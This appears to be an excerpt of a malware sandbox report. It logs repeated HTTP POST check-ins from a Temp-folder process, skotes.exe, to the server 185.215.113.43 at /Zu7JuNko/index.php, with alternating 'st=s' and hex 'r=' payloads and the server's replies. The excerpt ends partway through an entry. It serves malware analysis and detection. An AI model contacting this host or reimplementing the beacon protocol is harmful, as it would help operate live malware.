73	192.168.2.5	50316	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:55.377286911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:56.276618958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50317	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:57.794425964 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:58.734375954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50319	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:00.371681929 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:01.264251947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50323	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:02.789680004 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:03.755373955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50324	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:05.377482891 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:06.274574995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50325	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:07.795718908 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:08.690964937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50327	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:10.314862013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:11.232074022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50328	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:12.754713058 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:13.668951035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50329	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:15.295371056 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:16.209218979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50330	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:17.732239008 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:18.671755075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50331	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:20.293843031 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:21.213635921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50333	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:22.731439114 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:23.634219885 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50334	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:25.258059978 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:26.148190022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50335	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:27.661638975 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:28.564071894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50336	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:30.206532001 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:31.128226995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50338	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:32.656918049 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:33.581800938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50339	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:35.216690063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:36.163079977 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50340	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:37.683942080 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:38.592993975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50341	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:40.215910912 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:41.107983112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50343	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:42.620134115 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:43.534473896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50344	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:45.160654068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:46.064194918 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50345	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:47.575517893 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:26:48.498631954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50346	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:26:50.137737036 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:26:51.047053099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:26:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50883	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
